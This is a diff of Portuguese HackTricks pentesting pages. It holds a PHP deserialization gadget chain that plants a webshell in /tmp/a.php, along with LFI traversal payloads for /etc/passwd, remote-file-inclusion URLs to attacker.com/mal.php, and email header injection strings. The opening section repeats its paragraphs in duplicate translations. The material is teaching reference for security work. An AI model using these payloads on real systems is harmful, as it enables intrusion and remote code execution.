a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Agora, podemos **criar e escrever um arquivo**, no entanto, o usuário **não poderia escrever em nenhuma pasta dentro do servidor web**. Então, como você pode ver no payload, PHP chamando **`system`** com algum **base64** é criado em **`/tmp/a.php`**. Depois, podemos **reutilizar o primeiro tipo de payload** que usamos como LFI para carregar o carregador do compositor de outro webapp **para carregar o arquivo gerado `/tmp/a.php`**. Basta adicioná-lo ao gadget de deserialização:&#x20;
{% code overflow="wrap" %}
* Agora, podemos **criar e escrever um arquivo**, no entanto, o usuário **não pôde escrever em qualquer pasta dentro do servidor web**. Portanto, como você pode ver no payload, o PHP chamando **`system`** com algum **base64** é criado em **`/tmp/a.php`**. Em seguida, podemos **reutilizar o primeiro tipo de payload** que usamos como LFI para carregar o carregador do composer do outro aplicativo da web **para carregar o arquivo `/tmp/a.php`** gerado. Basta adicioná-lo ao gadget de desserialização:
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
```markdown
{% endcode %}
**Resumo do payload**
**Resumo da carga útil**
* **Carregar o autoload do composer** de um webapp diferente no mesmo contêiner
* **Carregar um gadget do phpggc** para abusar de uma biblioteca do outro webapp (o webapp inicial vulnerável à deserialização não tinha nenhum gadget em suas bibliotecas)
* O gadget irá **criar um arquivo com um payload PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do webapp não pode escrever em nenhuma pasta de nenhum webapp)
* A parte final do nosso payload usará **carregar o arquivo php gerado** que executará comandos
* **Carregar o autoload do composer** de um aplicativo da web diferente no mesmo contêiner
* **Carregar um gadget phpggc** para abusar de uma biblioteca do outro aplicativo da web (o aplicativo da web inicial vulnerável à desserialização não tinha nenhum gadget em suas bibliotecas)
* O gadget irá **criar um arquivo com uma carga útil PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do aplicativo da web não pode escrever em nenhuma pasta de nenhum aplicativo da web)
* A parte final de nossa carga útil usará **carregar o arquivo php gerado** que executará comandos
Eu precisei **chamar essa deserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado mas não carregado, e na segunda vez ele foi corretamente carregado.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```
Eu precisei **chamar essa desserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado mas não carregado, e na segunda vez foi carregado corretamente.

View file

@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -15,7 +15,7 @@ Outras maneiras de apoiar o HackTricks:
# **Deserialização** Yaml
As bibliotecas **Yaml** em python também são capazes de **serializar objetos python** e não apenas dados brutos:
As bibliotecas python de **Yaml** também são capazes de **serializar objetos python** e não apenas dados brutos:
```
print(yaml.dump(str("lol")))
lol
@ -96,7 +96,7 @@ Note que nas **versões recentes** você não pode **mais chamar `.load()`** **s
# RCE
Cargas personalizadas podem ser criadas usando módulos YAML Python como **PyYAML** ou **ruamel.yaml**. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
Cargas personalizadas podem ser criadas usando módulos YAML do Python, como **PyYAML** ou **ruamel.yaml**. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -152,10 +152,10 @@ cat /tmp/example_yaml
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,11 +6,11 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -62,15 +62,15 @@ Você pode encontrar um exemplo dessa vulnerabilidade no CTF write-up: [https://
## Explorando um subdomínio takeover
O subdomínio takeover é essencialmente um spoofing DNS para um domínio específico em toda a internet, permitindo que atacantes configurem registros A para um domínio, levando os navegadores a exibir conteúdo do servidor do atacante. Essa **transparência** nos navegadores torna os domínios propensos a phishing. Os atacantes podem empregar [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para esse fim. Especialmente vulneráveis são os domínios onde a URL em um e-mail de phishing parece legítima, enganando os usuários e evitando filtros de spam devido à confiança inerente do domínio.
Subdomínio takeover é essencialmente um spoofing DNS para um domínio específico em toda a internet, permitindo que atacantes configurem registros A para um domínio, levando os navegadores a exibir conteúdo do servidor do atacante. Essa **transparência** nos navegadores torna os domínios propensos a phishing. Os atacantes podem empregar [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para esse fim. Especialmente vulneráveis são os domínios onde a URL em um e-mail de phishing parece legítima, enganando os usuários e evitando filtros de spam devido à confiança inerente do domínio.
Confira este [post para mais detalhes](https://0xpatrik.com/subdomain-takeover/)
### **Certificados SSL**
Certificados SSL, se gerados por atacantes por meio de serviços como [_Let's Encrypt_](https://letsencrypt.org/), aumentam a legitimidade desses domínios falsos, tornando os ataques de phishing mais convincentes.
Certificados SSL, se gerados por atacantes via serviços como [_Let's Encrypt_](https://letsencrypt.org/), adicionam à legitimidade desses domínios falsos, tornando os ataques de phishing mais convincentes.
### **Segurança de Cookies e Transparência do Navegador**
A transparência do navegador também se estende à segurança dos cookies, governada por políticas como a [Política da mesma origem](https://en.wikipedia.org/wiki/Same-origin_policy). Cookies, frequentemente usados para gerenciar sessões e armazenar tokens de login, podem ser explorados por meio de subdomínio takeover. Os atacantes podem **coletar cookies de sessão** simplesmente direcionando os usuários para um subdomínio comprometido, colocando em risco os dados e a privacidade do usuário.
A transparência do navegador também se estende à segurança dos cookies, governada por políticas como a [Política da mesma origem](https://en.wikipedia.org/wiki/Same-origin_policy). Cookies, frequentemente usados para gerenciar sessões e armazenar tokens de login, podem ser explorados através de subdomínio takeover. Os atacantes podem **coletar cookies de sessão** simplesmente direcionando os usuários para um subdomínio comprometido, colocando em risco os dados e a privacidade do usuário.
### **E-mails e Subdomínio Takeover**
Outro aspecto do subdomínio takeover envolve serviços de e-mail. Os atacantes podem manipular **registros MX** para receber ou enviar e-mails de um subdomínio legítimo, aumentando a eficácia dos ataques de phishing.
@ -104,12 +104,12 @@ Tenha Acesso Hoje:
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -3,7 +3,7 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -17,7 +17,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -40,7 +40,7 @@ From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Alterar o corpo da mensagem
Injete duas quebras de linha e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
Injete uma quebra de linha de duas linhas e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
@ -68,15 +68,15 @@ Este parâmetro será adicionado à linha de comando que o PHP usará para invoc
Um atacante pode **injetar parâmetros extras para o sendmail** neste caso.
#### Diferenças na implementação do /usr/sbin/sendmail
#### Diferenças na implementação de /usr/sbin/sendmail
A interface do **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:
- Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusá-los e **vazar arquivos ou até mesmo executar comandos arbitrários**. Verifique como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
@ -86,11 +86,11 @@ Dependendo da **origem do binário sendmail**, diferentes opções foram descobe
Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail
- Por exemplo: john.doe+intigriti@example.com → john.doe@example.com
* Por exemplo: john.doe+intigriti@example.com → john.doe@example.com
**Comentários entre parênteses ()** no início ou no final também serão ignorados
- Por exemplo: john.doe(intigriti)@example.com → john.doe@example.com
* Por exemplo: john.doe(intigriti)@example.com → john.doe@example.com
### Desvio de lista branca
@ -104,8 +104,8 @@ Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcaç
Você também pode usar IPs como nomes de domínio entre colchetes:
- john.doe@\[127.0.0.1]
- john.doe@\[IPv6:2001:db8::1]
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Outras vulnerabilidades
@ -115,11 +115,11 @@ Você também pode usar IPs como nomes de domínio entre colchetes:
### XSS
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você poderia causar **XSS**.
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS nele**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você poderia causar **XSS**.
### Tomada de Conta
Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e então você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderia acessar qualquer conta.\
Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como o **salesforce**) e então você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderia acessar qualquer conta.\
_Obs.: o salesforce indica se o e-mail fornecido foi ou não verificado, então a aplicação deve levar em consideração essa informação._
## Responder a
@ -136,14 +136,14 @@ No contexto da AWS, se você enviar 1000 e-mails e 100 deles resultarem em rejei
É crucial manter uma baixa taxa de rejeição dura para garantir um serviço de e-mail ininterrupto e manter a reputação do remetente. Monitorar e gerenciar a qualidade dos endereços de e-mail em suas listas de envio pode ajudar significativamente a alcançar esse objetivo.
Para obter informações mais detalhadas, a documentação oficial da AWS sobre o tratamento de rejeições e reclamações pode ser consultada em [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
Para obter informações mais detalhadas, consulte a documentação oficial da AWS sobre o tratamento de rejeições e reclamações em [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Referências
- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
- [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
@ -151,11 +151,11 @@ Para obter informações mais detalhadas, a documentação oficial da AWS sobre
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,8 +9,8 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -22,10 +22,10 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado por meio de notícias e percepções em tempo real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais da plataforma
Fique informado sobre os mais recentes lançamentos de recompensas por bugs e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
@ -46,7 +46,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:**
**Misturando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
@ -57,7 +57,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para
### **Windows**
Mesclagem de diferentes listas de palavras:
Mescla de diferentes listas de palavras:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
@ -68,7 +68,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para ver
### **OS X**
Verifique a lista LFI do Linux.
Verifique a lista de LFI do Linux.
## LFI básico e bypasses
@ -99,7 +99,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Da pasta existente
### A partir da pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
```python
@ -110,7 +110,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
1. **Determinar a Profundidade do Diretório:**
Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -127,7 +127,7 @@ A resposta do servidor indica se a pasta existe:
4. **Exploração Recursiva:**
As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -151,13 +151,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Nos cenários mencionados, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
- **Usando Segmentos de Ponto e Caracteres Adicionais**:
Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor.
Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
- **Determinando o Número Necessário de Travessias**:
Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Começando com um Diretório Falso**:
É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
@ -174,9 +174,9 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusão de Arquivo Remoto
## Inclusão Remota de Arquivos
No PHP, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
No php, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -213,9 +213,9 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
